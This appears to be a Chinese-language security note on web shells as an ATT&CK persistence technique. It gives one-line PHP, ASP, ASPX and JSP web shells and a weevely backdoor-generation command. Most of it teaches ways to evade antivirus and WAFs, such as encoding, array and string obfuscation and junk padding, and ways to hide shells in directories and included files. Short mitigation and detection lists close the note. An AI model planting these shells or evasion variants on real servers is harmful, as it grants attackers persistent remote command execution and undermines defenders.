title: Webshell
tags:


ATT&CK矩阵-持久化-Webshell

一、简介

Web Shell是放置在可公开访问的Web服务器上的Web脚本,以允许攻击者将Web服务器用作进入服务器通道。Webshell可以为攻击者提供一个命令行界面。除了服务器端脚本之外,Web Shell可能还具有用于与Web服务器对话的客户端接口程序(例如,参见China Chopper Web Shell客户端)。
Web Shell可以充当持久访问或持久机制。

二、测试用例

Webshell一句话

  1. PHP ``` <?php @eval($_POST[‘value’]);?> <?php system($_REQUEST1);?> ……
  1. 2. ASP

<%eval request(“MH”)%> <%execute request(“MH”)%> ……

  1. 3. ASPX

<%@ Page Language=”Jscript”%><%eval(Request.Item[“pass”],”unsafe”);%>

<%@ Page Language=”Jscript” validateRequest=”false” %><%Response.Write(eval(Request.Item[“w”],”unsafe”));%> ……

  1. 4. JSP

<%Runtime.getRuntime().exec(request.getParameter(“i”));%> //无回显执行系统命令 ……

  1. Webshell部分汇总<br />
  2. `https://github.com/xl7dev/WebShell`
  3. #### Webshell管理工具
  4. 1. 中国菜刀
  5. 2. Cknife
  6. 3. [蚁剑](https://github.com/AntSwordProject/antSword)
  7. 4. [冰蝎](https://github.com/rebeyond/Behinder)
  8. 5. xise
  9. 6. weevelykali)<br />
  10. `weevely generate password test1.php //生成后门`<br />
  11. ![](https://blog-1255850204.cos.ap-guangzhou.myqcloud.com/uPic/QGcVvv.png)<br />
  12. 已连接,可通过help查看相关命令<br />
  13. ![](https://blog-1255850204.cos.ap-guangzhou.myqcloud.com/uPic/BKPvrC.png)<br />
  14. 查询系统信息<br />
  15. ![](https://blog-1255850204.cos.ap-guangzhou.myqcloud.com/uPic/7cZsC7.png)
  16. #### Webshell免杀
  17. 常见几种方式,特别推荐大数据包方式进行免杀webshell
  18. 1. 编码
  19. php的编码函数, 简单的base64_decode,其中因为他的正则匹配可以加入一些下划线干扰杀软(PS:这种方法现在基本GG)

<?php $a = base64_decode(“YXNz+ZXJ0”); $a($_POST[x]); ?>

  1. 2. 数组
  2. 把执行代码放入数组中执行绕过

<?php $a = substr_replace(“assexx”,”rt”,4); $b=[‘’=>$a($_POST[‘q’])]; ?>

  1. 多维数组

<?php $b = substr_replace(“assexx”,”rt”,4); $a = array($arrayName = array(‘a’ => $b($_POST[‘q’]))); ?>

  1. 3. 特殊字符干扰

<?php $a = $_POST[‘a’]; $b = “\n”; eval($b.=$a); ?>

  1. 4. 字符串变形

<?php $a = substr_replace(“assexx”,”rt”,4); $a($_POST[‘x’]); ?>

```

  1. 大数据包绕过
    通过注释填充大量无用字符,增加文件大小,如
    Webshell - 图1
    可绕过大部分waf

    Webshell隐藏

  2. 直接修改源代码,插入webshell,多个文件藏匿

  3. Include调用
  4. 创建非标准目录
    cmd 下创建md test..,然后拷贝webshell至文件夹下,达到隐藏效果
  5. 配置文件隐藏

…….

三、缓解措施

  1. 特权账号管理:严格审核账户权限,禁止用于管理服务器的账户与内部网络用户的权限重叠,即使攻击者获取webshell,也需要进行提权完成下一步攻击操作,增加攻击成本
  2. 对所使用的web服务器进行补丁修补,包括搭建在web服务器上的应用程序也定时进行漏洞修补、版本更新,防止攻击者通过应用程序漏洞进行部署webshell
  3. 严格控制服务器的写权限分配,阻止攻击者写入webshell
  4. 禁止服务器文件上传路径执行脚本文件

    四、检测方法

  5. 针对修改程序文件的隐藏webshell,可通过文件监视方式检查服务器文件是否被修改

  6. 通过流量检测方式,针对敏感操作进行阻断,攻击者通常会通过webshell进行下一步攻击操作,如提权、权限维持、通道搭建
  7. 部署相关安全设备进行防御,如HIDS